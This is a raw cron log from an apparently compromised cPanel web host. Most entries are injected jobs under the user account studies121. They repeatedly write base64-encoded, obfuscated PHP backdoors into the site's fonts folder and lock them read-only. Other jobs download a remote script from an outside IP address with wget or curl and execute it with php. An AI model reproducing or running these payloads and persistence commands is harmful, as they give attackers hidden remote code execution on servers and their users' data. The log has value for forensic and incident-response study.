Sep 10 15:39:01 ip-184-168-122-23 CROND[32501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:39:01 ip-184-168-122-23 CROND[32502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:40:01 ip-184-168-122-23 CROND[32609]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:40:01 ip-184-168-122-23 CROND[32607]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 15:40:01 ip-184-168-122-23 CROND[32611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:40:01 ip-184-168-122-23 CROND[32610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:40:01 ip-184-168-122-23 CROND[32613]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:40:01 ip-184-168-122-23 CROND[32614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:40:01 ip-184-168-122-23 CROND[32615]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:40:01 ip-184-168-122-23 CROND[32621]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:41:01 ip-184-168-122-23 CROND[32731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:41:01 ip-184-168-122-23 CROND[32733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:41:01 ip-184-168-122-23 CROND[32735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:41:01 ip-184-168-122-23 CROND[32734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:42:01 ip-184-168-122-23 CROND[375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:42:01 ip-184-168-122-23 CROND[377]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:42:01 ip-184-168-122-23 CROND[379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:42:01 ip-184-168-122-23 CROND[380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:42:01 ip-184-168-122-23 CROND[378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:43:01 ip-184-168-122-23 CROND[478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:43:01 ip-184-168-122-23 CROND[480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:43:01 ip-184-168-122-23 CROND[482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:43:01 ip-184-168-122-23 CROND[483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:44:01 ip-184-168-122-23 CROND[678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:44:01 ip-184-168-122-23 CROND[680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:44:01 ip-184-168-122-23 CROND[681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:44:01 ip-184-168-122-23 CROND[682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:44:01 ip-184-168-122-23 CROND[683]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:45:01 ip-184-168-122-23 CROND[803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:45:01 ip-184-168-122-23 CROND[805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:45:01 ip-184-168-122-23 CROND[806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:45:01 ip-184-168-122-23 CROND[808]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:45:01 ip-184-168-122-23 CROND[809]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:45:01 ip-184-168-122-23 CROND[814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:46:01 ip-184-168-122-23 CROND[930]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 15:46:01 ip-184-168-122-23 CROND[932]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:46:01 ip-184-168-122-23 CROND[937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:46:01 ip-184-168-122-23 CROND[936]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 15:46:01 ip-184-168-122-23 CROND[938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:46:01 ip-184-168-122-23 CROND[939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:46:01 ip-184-168-122-23 CROND[940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:47:01 ip-184-168-122-23 CROND[1047]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:47:01 ip-184-168-122-23 CROND[1049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:47:02 ip-184-168-122-23 CROND[1052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:47:02 ip-184-168-122-23 CROND[1054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:48:01 ip-184-168-122-23 CROND[1150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:48:01 ip-184-168-122-23 CROND[1152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:48:02 ip-184-168-122-23 CROND[1156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:48:02 ip-184-168-122-23 CROND[1159]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:48:02 ip-184-168-122-23 CROND[1157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:49:01 ip-184-168-122-23 CROND[1248]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:49:01 ip-184-168-122-23 CROND[1250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:49:01 ip-184-168-122-23 CROND[1249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:49:01 ip-184-168-122-23 CROND[1251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:50:01 ip-184-168-122-23 CROND[1477]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 15:50:01 ip-184-168-122-23 CROND[1479]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 15:50:01 ip-184-168-122-23 CROND[1481]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 15:50:01 ip-184-168-122-23 CROND[1482]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 15:50:01 ip-184-168-122-23 CROND[1483]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 15:50:01 ip-184-168-122-23 CROND[1484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 15:50:01 ip-184-168-122-23 CROND[1486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:50:01 ip-184-168-122-23 CROND[1485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 15:50:01 ip-184-168-122-23 CROND[1487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 15:51:01 ip-184-168-122-23 CROND[1598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 15:51:01 ip-184-168-122-23 CROND[1599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
